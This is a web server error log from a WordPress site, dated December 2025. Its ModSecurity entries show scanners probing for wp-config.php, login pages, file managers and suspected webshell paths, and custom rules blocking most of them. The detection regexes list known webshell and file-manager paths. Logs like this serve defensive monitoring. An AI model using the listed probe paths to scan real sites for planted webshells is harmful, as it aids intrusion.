[Fri Dec 19 18:38:19.057317 2025] [:error] [pid 20580:tid 20606] [client 185.223.152.176:37811] [client 185.223.152.176] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.176, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aUUrG0md1op_YdAdgR1ztQAAAFQ"]
[Fri Dec 19 18:38:19.067235 2025] [proxy_fcgi:error] [pid 20580:tid 20606] [client 185.223.152.176:37811] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 20:45:14.008735 2025] [:error] [pid 20675:tid 20698] [client 143.198.220.98:59398] [client 143.198.220.98] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/api/index.php/v1/config/application"] [unique_id "aUVI2rMyJ3XqeDRsbQmfcAAAAQo"]
[Fri Dec 19 22:49:14.899292 2025] [proxy_fcgi:error] [pid 41451:tid 41457] [client 4.190.206.97:56618] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:49:15.047921 2025] [proxy_fcgi:error] [pid 41451:tid 41463] [client 4.190.206.97:56618] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:49:15.212687 2025] [proxy_fcgi:error] [pid 41451:tid 41474] [client 4.190.206.97:56618] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:49:15.638967 2025] [proxy_fcgi:error] [pid 41451:tid 41472] [client 4.190.206.97:56618] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:49:15.816721 2025] [proxy_fcgi:error] [pid 41451:tid 41459] [client 4.190.206.97:56618] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:49:16.000425 2025] [proxy_fcgi:error] [pid 41451:tid 41454] [client 4.190.206.97:56618] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:49:16.355355 2025] [proxy_fcgi:error] [pid 41451:tid 41476] [client 4.190.206.97:56618] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:49:16.507086 2025] [:error] [pid 41451:tid 41458] [client 4.190.206.97:56618] [client 4.190.206.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp-config.php"] [unique_id "aUVl7AYXFn-DbZghZBH8zwAAAAQ"]
[Fri Dec 19 22:49:20.559829 2025] [proxy_fcgi:error] [pid 20582:tid 20659] [client 4.190.206.97:46910] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:49:20.742133 2025] [proxy_fcgi:error] [pid 20582:tid 20643] [client 4.190.206.97:46910] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:49:20.935119 2025] [proxy_fcgi:error] [pid 20582:tid 20642] [client 4.190.206.97:46910] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:49:21.079064 2025] [:error] [pid 20582:tid 20647] [client 4.190.206.97:46910] [client 4.190.206.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/er.php"] [unique_id "aUVl8cpAnrkQKZ4b5gZgVwAAAMU"]
[Fri Dec 19 22:49:28.306515 2025] [:error] [pid 41451:tid 41473] [client 4.190.206.97:58300] [client 4.190.206.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/er.php"] [unique_id "aUVl-AYXFn-DbZghZBH85AAAABM"]
[Fri Dec 19 22:49:31.449088 2025] [:error] [pid 20582:tid 20658] [client 4.190.206.97:49926] [client 4.190.206.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/er.php"] [unique_id "aUVl-8pAnrkQKZ4b5gZgYwAAANA"]
[Fri Dec 19 22:49:35.665455 2025] [:error] [pid 20580:tid 20596] [client 4.190.206.97:46859] [client 4.190.206.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/er.php"] [unique_id "aUVl_0md1op_YdAdgR2_fwAAAEo"]
[Fri Dec 19 22:49:50.474845 2025] [:error] [pid 20582:tid 20646] [client 4.190.206.97:62166] [client 4.190.206.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/logs.php"] [unique_id "aUVmDspAnrkQKZ4b5gZgeQAAAMQ"]
[Fri Dec 19 22:50:04.136784 2025] [:error] [pid 20581:tid 20618] [client 4.190.206.97:49955] [client 4.190.206.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aUVmHPxEv7WXNhnFD1mmPQAAAIM"]
[Fri Dec 19 22:50:06.345252 2025] [:error] [pid 18438:tid 18443] [client 4.190.206.97:56214] [client 4.190.206.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aUVmHpRArClWV1iij_TDIQAAAYI"]
[Fri Dec 19 22:50:12.322385 2025] [:error] [pid 18438:tid 18462] [client 4.190.206.97:60477] [client 4.190.206.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aUVmJJRArClWV1iij_TDKAAAAZU"]
[Fri Dec 19 22:50:14.461019 2025] [:error] [pid 20675:tid 20707] [client 4.190.206.97:50025] [client 4.190.206.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aUVmJrMyJ3XqeDRsbQm-DQAAARM"]
[Fri Dec 19 22:50:19.444485 2025] [:error] [pid 16026:tid 16043] [client 4.190.206.97:45868] [client 4.190.206.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/testphp.php"] [unique_id "aUVmK0LVfhf4Jb3enmNdMAAAAU4"]
[Fri Dec 19 22:50:28.395188 2025] [proxy_fcgi:error] [pid 16026:tid 16053] [client 4.190.206.97:47483] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:50:28.894278 2025] [proxy_fcgi:error] [pid 16026:tid 16029] [client 4.190.206.97:47483] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:50:29.057710 2025] [proxy_fcgi:error] [pid 16026:tid 16051] [client 4.190.206.97:47483] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:50:29.245011 2025] [proxy_fcgi:error] [pid 16026:tid 16043] [client 4.190.206.97:47483] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:50:29.405289 2025] [proxy_fcgi:error] [pid 16026:tid 16032] [client 4.190.206.97:47483] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:50:29.556481 2025] [proxy_fcgi:error] [pid 16026:tid 16044] [client 4.190.206.97:47483] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:50:29.711691 2025] [proxy_fcgi:error] [pid 16026:tid 16036] [client 4.190.206.97:47483] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:50:29.863113 2025] [proxy_fcgi:error] [pid 16026:tid 16050] [client 4.190.206.97:47483] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:50:30.019032 2025] [proxy_fcgi:error] [pid 16026:tid 16031] [client 4.190.206.97:47483] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:50:30.173962 2025] [proxy_fcgi:error] [pid 16026:tid 16035] [client 4.190.206.97:47483] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:50:30.343486 2025] [proxy_fcgi:error] [pid 16026:tid 16033] [client 4.190.206.97:47483] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:50:30.515460 2025] [:error] [pid 16026:tid 16037] [client 4.190.206.97:47483] [client 4.190.206.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aUVmNkLVfhf4Jb3enmNdYAAAAUg"]
[Fri Dec 19 22:50:33.741111 2025] [:error] [pid 20580:tid 20586] [client 4.190.206.97:50036] [client 4.190.206.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aUVmOUmd1op_YdAdgR2_wgAAAEA"]
[Fri Dec 19 22:50:35.644089 2025] [:error] [pid 18438:tid 18442] [client 4.190.206.97:56550] [client 4.190.206.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aUVmO5RArClWV1iij_TDWgAAAYE"]
[Fri Dec 19 22:50:37.303785 2025] [:error] [pid 41451:tid 41475] [client 4.190.206.97:56534] [client 4.190.206.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aUVmPQYXFn-DbZghZBH9HgAAABU"]
[Fri Dec 19 22:50:38.997027 2025] [:error] [pid 18438:tid 18460] [client 4.190.206.97:60889] [client 4.190.206.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/newsletter_signup.php"] [unique_id "aUVmPpRArClWV1iij_TDYQAAAZM"]
[Fri Dec 19 22:50:58.016894 2025] [:error] [pid 16026:tid 16029] [client 4.190.206.97:49315] [client 4.190.206.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index-2.php"] [unique_id "aUVmUkLVfhf4Jb3enmNdgwAAAUA"]
[Fri Dec 19 22:51:03.740873 2025] [:error] [pid 20580:tid 20608] [client 4.190.206.97:58352] [client 4.190.206.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index-2.php"] [unique_id "aUVmV0md1op_YdAdgR2_0QAAAFY"]
[Fri Dec 19 22:51:13.128307 2025] [:error] [pid 18438:tid 18453] [client 4.190.206.97:48829] [client 4.190.206.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/card.php"] [unique_id "aUVmYZRArClWV1iij_TDfwAAAYw"]
[Fri Dec 19 22:51:28.291789 2025] [:error] [pid 16026:tid 16043] [client 4.190.206.97:46913] [client 4.190.206.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/personal.php"] [unique_id "aUVmcELVfhf4Jb3enmNdpwAAAU4"]
[Fri Dec 19 22:51:30.990907 2025] [proxy_fcgi:error] [pid 41451:tid 41461] [client 4.190.206.97:60257] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:51:31.153078 2025] [proxy_fcgi:error] [pid 41451:tid 41471] [client 4.190.206.97:60257] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:51:31.301080 2025] [proxy_fcgi:error] [pid 41451:tid 41475] [client 4.190.206.97:60257] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:51:31.450563 2025] [proxy_fcgi:error] [pid 41451:tid 41470] [client 4.190.206.97:60257] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:51:31.604481 2025] [proxy_fcgi:error] [pid 41451:tid 41472] [client 4.190.206.97:60257] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:51:31.761862 2025] [proxy_fcgi:error] [pid 41451:tid 41459] [client 4.190.206.97:60257] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:51:32.408163 2025] [proxy_fcgi:error] [pid 41451:tid 41457] [client 4.190.206.97:60257] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:51:32.567634 2025] [proxy_fcgi:error] [pid 41451:tid 41455] [client 4.190.206.97:60257] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:51:32.760479 2025] [proxy_fcgi:error] [pid 41451:tid 41477] [client 4.190.206.97:60257] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:51:32.938223 2025] [proxy_fcgi:error] [pid 41451:tid 41454] [client 4.190.206.97:60257] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:51:33.117817 2025] [proxy_fcgi:error] [pid 41451:tid 41456] [client 4.190.206.97:60257] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:51:33.279220 2025] [:error] [pid 41451:tid 41463] [client 4.190.206.97:60257] [client 4.190.206.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/loginfailed.php"] [unique_id "aUVmdQYXFn-DbZghZBH9TwAAAAk"]
[Fri Dec 19 22:51:44.050353 2025] [:error] [pid 18438:tid 18445] [client 4.190.206.97:62237] [client 4.190.206.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/loginfailed.php"] [unique_id "aUVmgJRArClWV1iij_TDsgAAAYQ"]
[Fri Dec 19 22:52:12.144487 2025] [:error] [pid 20580:tid 20605] [client 4.190.206.97:60830] [client 4.190.206.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pac.php"] [unique_id "aUVmnEmd1op_YdAdgR3AEgAAAFM"]
[Fri Dec 19 22:52:35.646051 2025] [proxy_fcgi:error] [pid 20582:tid 20643] [client 4.190.206.97:4241] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:52:35.800032 2025] [proxy_fcgi:error] [pid 20582:tid 20661] [client 4.190.206.97:4241] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:52:35.970009 2025] [proxy_fcgi:error] [pid 20582:tid 20651] [client 4.190.206.97:4241] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:52:37.027777 2025] [proxy_fcgi:error] [pid 20582:tid 20664] [client 4.190.206.97:4241] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:52:37.360083 2025] [proxy_fcgi:error] [pid 20582:tid 20653] [client 4.190.206.97:4241] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:52:38.118602 2025] [proxy_fcgi:error] [pid 20582:tid 20645] [client 4.190.206.97:4241] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 22:52:38.265447 2025] [proxy_fcgi:error] [pid 20582:tid 20642] [client 4.190.206.97:4241] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 02:42:39.321529 2025] [autoindex:error] [pid 35624:tid 35629] [client 185.249.225.220:51488] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Dec 20 07:40:41.123632 2025] [proxy_fcgi:error] [pid 39493:tid 39553] [client 45.86.202.51:57983] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:40:41.413614 2025] [proxy_fcgi:error] [pid 39493:tid 39561] [client 45.86.202.51:57983] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:40:41.716626 2025] [proxy_fcgi:error] [pid 39493:tid 39559] [client 45.86.202.51:57983] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:40:42.007615 2025] [proxy_fcgi:error] [pid 39493:tid 39561] [client 45.86.202.51:57983] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:40:42.310887 2025] [proxy_fcgi:error] [pid 39493:tid 39565] [client 45.86.202.51:57983] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:40:42.609620 2025] [proxy_fcgi:error] [pid 39493:tid 39573] [client 45.86.202.51:57983] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:40:42.972037 2025] [proxy_fcgi:error] [pid 39493:tid 39549] [client 45.86.202.51:57983] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:40:43.309618 2025] [proxy_fcgi:error] [pid 39493:tid 39554] [client 45.86.202.51:57983] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:40:43.651617 2025] [proxy_fcgi:error] [pid 39493:tid 39556] [client 45.86.202.51:57983] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:40:44.005282 2025] [proxy_fcgi:error] [pid 39493:tid 39557] [client 45.86.202.51:57983] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:40:44.664622 2025] [proxy_fcgi:error] [pid 39493:tid 39549] [client 45.86.202.51:57983] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:40:44.991853 2025] [proxy_fcgi:error] [pid 39493:tid 39573] [client 45.86.202.51:57983] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:40:45.321975 2025] [proxy_fcgi:error] [pid 39493:tid 39551] [client 45.86.202.51:57983] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:40:45.680613 2025] [proxy_fcgi:error] [pid 39493:tid 39552] [client 45.86.202.51:57983] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:40:46.017619 2025] [proxy_fcgi:error] [pid 39493:tid 39570] [client 45.86.202.51:57983] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:40:46.346622 2025] [proxy_fcgi:error] [pid 39493:tid 39549] [client 45.86.202.51:57983] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:40:46.677631 2025] [proxy_fcgi:error] [pid 39493:tid 39573] [client 45.86.202.51:57983] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:40:47.011644 2025] [proxy_fcgi:error] [pid 39493:tid 39553] [client 45.86.202.51:57983] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:40:47.319683 2025] [proxy_fcgi:error] [pid 39493:tid 39550] [client 45.86.202.51:57983] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:40:51.480242 2025] [:error] [pid 39493:tid 39565] [client 45.86.202.51:57983] [client 45.86.202.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aUXig2hjL2VG_FmIHqAqlgAAAJA"]
[Sat Dec 20 07:40:52.918362 2025] [:error] [pid 39492:tid 39539] [client 45.86.202.93:35285] [client 45.86.202.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aUXihIs_ZYP1UQNM9ha2zQAAAFE"]
[Sat Dec 20 07:40:55.393640 2025] [proxy_fcgi:error] [pid 39491:tid 39510] [client 45.86.202.98:23173] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:40:56.258714 2025] [:error] [pid 39491:tid 39496] [client 45.86.202.98:23173] [client 45.86.202.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aUXiiFtw2ggYvDxu2EDgKAAAAAE"]
[Sat Dec 20 07:40:57.161618 2025] [proxy_fcgi:error] [pid 39492:tid 39539] [client 45.86.202.56:62965] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:40:57.450643 2025] [proxy_fcgi:error] [pid 39492:tid 39539] [client 45.86.202.56:62965] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:40:57.756413 2025] [:error] [pid 39492:tid 39539] [client 45.86.202.56:62965] [client 45.86.202.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aUXiiYs_ZYP1UQNM9ha3IwAAAFE"]
[Sat Dec 20 07:41:04.735055 2025] [proxy_fcgi:error] [pid 39491:tid 39496] [client 45.86.202.63:27299] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:41:06.204433 2025] [:error] [pid 39491:tid 39501] [client 45.86.202.63:27299] [client 45.86.202.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aUXikltw2ggYvDxu2EDguAAAAAY"]
[Sat Dec 20 07:41:07.158931 2025] [:error] [pid 39492:tid 39537] [client 45.86.202.96:33799] [client 45.86.202.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aUXik4s_ZYP1UQNM9ha39gAAAE8"]
[Sat Dec 20 07:41:07.748274 2025] [:error] [pid 39577:tid 39582] [client 45.86.202.53:52079] [client 45.86.202.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aUXik7viRnt1rJiSOfyjyAAAAMM"]
[Sat Dec 20 07:41:08.305686 2025] [:error] [pid 18807:tid 18827] [client 45.86.202.52:57667] [client 45.86.202.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aUXilGRP9n5OCTllYeUSRwAAAZI"]
[Sat Dec 20 07:41:08.929561 2025] [:error] [pid 39577:tid 39598] [client 45.86.202.78:40377] [client 45.86.202.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aUXilLviRnt1rJiSOfyjzQAAANM"]
